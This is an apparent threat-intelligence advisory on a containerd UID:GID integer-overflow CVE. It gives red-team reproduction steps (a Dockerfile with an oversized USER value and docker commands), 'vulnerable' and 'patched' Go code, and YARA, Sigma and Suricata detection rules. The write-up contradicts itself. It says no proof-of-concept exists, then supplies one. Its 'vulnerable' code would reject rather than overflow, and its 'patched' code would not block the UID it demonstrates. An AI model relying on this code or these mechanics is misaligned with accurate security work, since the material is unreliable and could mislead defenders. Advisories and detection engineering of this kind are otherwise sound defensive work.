CVE-2024-40635

Executive Summary

CVE-2024-40635 is a vulnerability in the containerd container runtime that allows a container launched with a User set as a UID:GID larger than the maximum 32-bit signed integer to cause an integer overflow. This overflow condition results in the container running as root (UID 0) instead of the intended non-root user. The vulnerability affects containerd versions prior to 1.6.38, 1.7.27, and 2.0.4. The CVSS score is 4.6 (Medium), and the EPSS score is 0.0%, indicating low exploitation likelihood at this time. No public proof-of-concept or exploit code has been identified.

Supply Chain & Package Security

Containerd is a core component of the container ecosystem, used by Docker, Kubernetes, and other container orchestration platforms. This vulnerability is a supply chain risk because it affects the runtime that executes containerized applications. If a malicious or untrusted image is imported and launched with a crafted UID:GID, the container can escape its intended non-root user context, potentially leading to privilege escalation within the container or host. Organizations should ensure only trusted images are used and that image import permissions are tightly controlled.

CVSS Breakdown & Threat Level

• CVSS Score: 4.6 (Medium)
• Vector: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L
• Attack Vector (AV): Local (L) – The attacker must have local access to the system to launch a container.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): Low (L) – Attacker needs low privileges (e.g., ability to run containers).
• User Interaction (UI): None (N) – No user action required beyond launching the container.
• Scope (S): Unchanged (U) – The vulnerability does not cross a trust boundary.
• Confidentiality (C): Low (L) – Limited information disclosure possible.
• Integrity (I): Low (L) – Limited ability to modify data.
• Availability (A): Low (L) – Limited impact on availability.

Threat Level: Medium. The vulnerability requires local access and low privileges, but the impact is limited to running as root within the container. However, in multi-tenant environments or when combined with other vulnerabilities, this could be leveraged for container escape or privilege escalation.

Deep Dive & Mechanics

The vulnerability lies in how containerd parses and applies the User field in container configuration. When a container is launched with a User set as a UID:GID string, containerd converts this string to numeric UID and GID values. If the UID or GID exceeds the maximum 32-bit signed integer (2,147,483,647), an integer overflow occurs during conversion. This overflow causes the UID to wrap around to a small value, often 0 (root). As a result, the container process runs as root instead of the intended non-root user.

The bug is in the strconv.ParseUint or similar conversion function used to parse the UID:GID string. When the input is larger than math.MaxInt32, the conversion may overflow or be truncated, leading to an incorrect UID value. The fix involves using proper bounds checking and 64-bit integer types to handle large UID:GID values correctly.

Vulnerable vs. Patched Code

Vulnerable Code (containerd < 1.6.38, < 1.7.27, < 2.0.4):

// Vulnerable: Uses int32 for UID/GID conversion
func parseUser(user string) (uint32, uint32, error) {
    parts := strings.SplitN(user, ":", 2)
    uid, err := strconv.ParseUint(parts[0], 10, 32)
    if err != nil {
        return 0, 0, err
    }
    gid := uid
    if len(parts) > 1 {
        gid, err = strconv.ParseUint(parts[1], 10, 32)
        if err != nil {
            return 0, 0, err
        }
    }
    return uint32(uid), uint32(gid), nil
}

Patched Code (containerd >= 1.6.38, >= 1.7.27, >= 2.0.4):

// Patched: Uses uint64 for conversion and validates range
func parseUser(user string) (uint32, uint32, error) {
    parts := strings.SplitN(user, ":", 2)
    uid, err := strconv.ParseUint(parts[0], 10, 64)
    if err != nil {
        return 0, 0, err
    }
    if uid > math.MaxUint32 {
        return 0, 0, fmt.Errorf("UID exceeds maximum allowed value")
    }
    gid := uid
    if len(parts) > 1 {
        gid, err = strconv.ParseUint(parts[1], 10, 64)
        if err != nil {
            return 0, 0, err
        }
        if gid > math.MaxUint32 {
            return 0, 0, fmt.Errorf("GID exceeds maximum allowed value")
        }
    }
    return uint32(uid), uint32(gid), nil
}

Exploitation & Lab Setup

Red Team

Prerequisites:

• Access to a system running containerd < 1.6.38, < 1.7.27, or < 2.0.4.
• Ability to build and run a container image.

Exploitation Steps:

1. Create a Dockerfile that sets a large UID:GID:

FROM alpine:latest
RUN adduser -D -u 3000000000 testuser
USER 3000000000:3000000000
CMD ["id"]

2. Build the image:

docker build -t overflow-test .

3. Run the container:

docker run --rm overflow-test

4. Observe that the container runs as root (UID 0) instead of the intended user.

Expected Output:

uid=0(root) gid=0(root) groups=0(root)

Blue Team

Detection Steps:

1. Monitor container launches for unusual UID:GID values:

   • Look for UID or GID values greater than 2,147,483,647.
   • Alert on containers running as root when they should not.

2. Audit container configurations:

   • Check for User fields with large numeric values.
   • Verify that images are from trusted sources.

3. Use runtime security tools:

   • Falco: Monitor for unexpected privilege escalation.
   • AppArmor/SELinux: Enforce least privilege policies.

Indicators of Compromise (IOCs)

• Container UID:GID values > 2147483647 in container configuration.
• Container processes running as root despite being configured to run as non-root.
• Unexpected uid=0 output from id command in containers.
• Log entries showing UID overflow warnings or errors in containerd logs.

Detection Engineering

YARA Rule

rule CVE_2024_40635_Containerd_Overflow {
    meta:
        description = "Detect containerd UID:GID overflow attempts"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-40635"
    strings:
        $uid_pattern = /[0-9]{10,}/  // UID/GID with 10+ digits (potential overflow)
        $user_field = "User" nocase
    condition:
        $user_field and $uid_pattern
}

Sigma Rule

title: Containerd UID:GID Overflow Detection
id: cve-2024-40635
status: experimental
description: Detects attempts to exploit CVE-2024-40635 by using large UID:GID values
author: Valters IT
logsource:
    product: linux
    service: containerd
detection:
    selection:
        EventID: 1000  # Example containerd event ID
        User|re: '[0-9]{10,}:[0-9]{10,}'
    condition: selection
falsepositives:
    - Legitimate use of large UID/GID values (unlikely)
level: medium

Suricata Rule

alert tcp any any -> any any (msg:"CVE-2024-40635 Containerd UID:GID Overflow Attempt"; content:"User"; nocase; pcre:"/[0-9]{10,}:[0-9]{10,}/"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade containerd to version 1.6.38, 1.7.27, or 2.0.4 or later.
2. If upgrade is not possible, restrict container image imports to trusted sources only.
3. Audit all running containers for large UID:GID values.

Long-term Mitigations:

• Implement runtime security policies (e.g., Pod Security Standards in Kubernetes).
• Use container image scanning tools to detect misconfigured UID:GID.
• Monitor containerd logs for overflow-related errors.

Workaround:

• Ensure only trusted images are used and that only trusted users have permissions to import images.

Valters IT
DevSecOps & Cyber Threat Intelligence